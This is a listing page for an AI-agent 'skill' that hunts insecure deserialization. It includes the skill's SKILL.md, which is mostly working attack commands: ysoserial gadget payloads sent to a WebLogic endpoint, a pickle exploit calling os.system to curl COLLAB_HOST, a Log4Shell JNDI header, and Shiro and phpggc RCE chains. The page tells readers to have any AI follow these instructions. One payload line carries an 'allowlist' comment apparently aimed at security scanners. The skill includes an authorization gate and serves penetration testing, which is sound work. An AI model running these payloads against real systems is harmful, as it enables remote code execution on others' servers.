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Security48k · #3253

hunt-deserialization

Makes your agent search for insecure deserialization flaws. This prevents malicious code from being executed.

What it does

This tool helps find security flaws in how a program handles incoming data. It specifically looks for a type of vulnerability called 'insecure deserialization,' which could allow an attacker to run malicious commands on the system.

When to use it

  • ✓When testing the security of a web application.
  • ✓To check if a server is vulnerable to remote code execution attacks.
  • ✓During security audits to find known weaknesses.

Example of what to ask your AI

“Check if the website example.com is vulnerable to insecure deserialization.”

Want more? Open the sections below.

How to use

The easiest way: copy the message below and paste it into Claude, ChatGPT, Cursor or any AI. It reads the skill and follows the instructions.

Skill link

https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/hunt-deserialization/SKILL.md

Ready-to-paste message

Use this skill to help me: https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/hunt-deserialization/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
How it works

The tool sends specially crafted data to the target and observes if the program reacts unexpectedly, indicating a potential flaw. It uses known techniques to exploit different programming languages (Java, PHP, Python, etc.).

Installation

Easiest way: copy the skill link and paste it into Claude, ChatGPT or Cursor asking it to follow the instructions.

In the terminal (Claude Code, Codex, Cursor), in your project folder:

npx skills add sickn33/agentic-awesome-skills --skill hunt-deserialization

Or download just the file:

curl -L https://raw.githubusercontent.com/sickn33/agentic-awesome-skills/main/plugins/agentic-awesome-skills-claude/skills/hunt-deserialization/SKILL.md -o SKILL.md
Technical content (original SKILL.md)

Original text by the author, straight from GitHub.

⚠️ AUTHORIZED USE ONLY This skill is for educational purposes or authorized security assessments only. You must have explicit, written permission from the system owner before using this tool. Misuse of this tool is illegal and strictly prohibited.

Mandatory confirmation gate Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:

  1. Ask the user to state the exact target URL, IP, account, or resource.
  2. Ask the user to confirm written authorization and the permitted scope.
  3. Show the exact command(s) and explain their expected effect.
  4. Wait for explicit confirmation in the current conversation.

Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

HUNT-DESERIALIZATION — Insecure Deserialization

Crown Jewel Targets

Deserialization bugs are almost always Critical — they lead directly to RCE without prerequisite conditions.

Highest-value chains:

  • Java ysoserial gadget chains — CommonsCollections, Spring, JNDI, Groovy gadgets → full OS command execution
  • PHP Object Injection — __wakeup / __destruct magic methods → file write / RCE
  • Python pickle — pickle.loads(attacker_data) → __reduce__ → os.system('id')
  • .NET BinaryFormatter — TypeConfuseDelegate gadget chain → RCE
  • Ruby Marshal.load — Gem::Requirement, Gem::Installer gadgets → RCE
  • JNDI injection — Log4Shell pattern: ${jndi:ldap://attacker/a} → class load → RCE

Attack Surface Signals

Detection Patterns

# Java serialized objects start with AC ED 00 05 (hex) or rO0A (base64)
echo "rO0ABXQ=" | base64 -d | xxd | head -1  # shows: ac ed 00 05 <!-- security-allowlist: documented payload decoding technique reference, do not execute outside authorized scope -->

# PHP serialization: O:8:"stdClass":0:{}
# Python pickle: starts with \x80\x04 (protocol 4) or \x80\x02

# Apache Shiro: rememberMe cookie present
curl -sI https://$TARGET/ | grep -i "Set-Cookie.*rememberMe"

# Log4j: test user-controlled fields for JNDI interpolation
curl -H 'User-Agent: ${jndi:dns://COLLAB_HOST/a}' https://$TARGET/

Header / Cookie Signals

Content-Type: application/x-java-serialized-object
Cookie containing rO0= prefix (Java base64 serialized)
Cookie: rememberMe= (Apache Shiro)
Cookie: _VIEWSTATE (ASP.NET ViewState without encryption)
Endpoints: /remoting/, /invoker/, /jmx-console/, /wls-wsat/

Step-by-Step Hunting Methodology

Phase 1 — Java Deserialization (ysoserial)

# Install ysoserial
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar

# Generate OOB detection payload
java -jar ysoserial-all.jar CommonsCollections6 \
  'curl http://COLLAB_HOST/ysoserial' | base64 -w0

# Send as body or cookie
java -jar ysoserial-all.jar CommonsCollections6 'id > /tmp/pwned' | base64 | \
  curl -s https://$TARGET/wls-wsat/CoordinatorPortType \
    -H "Content-Type: application/x-java-serialized-object" \
    --data-binary @-

# Apache Shiro exploit (default AES key)
python3 shiro_exploit.py -u https://$TARGET/ -c "id"

Phase 2 — PHP Object Injection

# Find unserialize() calls in source
grep -r "unserialize(" --include="*.php" .

# Inject test: O:8:"stdClass":1:{s:4:"test";s:5:"value";}
# Send in cookie, POST param, or hidden form field
# If error changes → deserialization confirmed

# Craft gadget chain using phpggc
git clone https://github.com/ambionics/phpggc
php phpggc -l  # list chains
php phpggc Laravel/RCE5 system id | base64

Phase 3 — Python Pickle

# Generate OOB payload
python3 -c "
import pickle, os, base64
class Exploit(object):
    def __reduce__(self):
        return (os.system, ('curl http://COLLAB_HOST/pickle-rce',))
print(base64.b64encode(pickle.dumps(Exploit())).decode())
"

# Send as cookie or POST body
curl -s https://$TARGET/api/load-model \
  -H "Content-Type: application/octet-stream" \
  --data-binary @payload.pkl

Phase 3b — PHP phar://, Python YAML, Node deserialization

  • PHP phar:// (no unserialize() call) — any filesystem function (file_exists/fopen/getimagesize) on a phar:// path deserializes the archive metadata -> object injection with zero unserialize() in code.
    phpggc -p phar -o poly.jpg Monolog/RCE1 system id   # valid-image + phar polyglot
    

…

FAQ

What is 'insecure deserialization'?

It's when a program trusts data it receives from external sources too much and reconstructs it without checking if it's safe, allowing malicious data to execute code.

What is RCE?

RCE stands for 'Remote Code Execution.' It's a critical vulnerability that allows an attacker to run commands on the victim's computer remotely.

Do I need permission to use this tool?

Yes, it is crucial to have explicit, written permission from the system owner before using this tool. Unauthorized use is illegal.

Details

Original description by the author

Hunt Insecure Deserialization

repo: sickn33/agentic-awesome-skills

Popularity

GitHub stars
48k
Ranking position
#3253
License
MIT
Updated
10/15/2026

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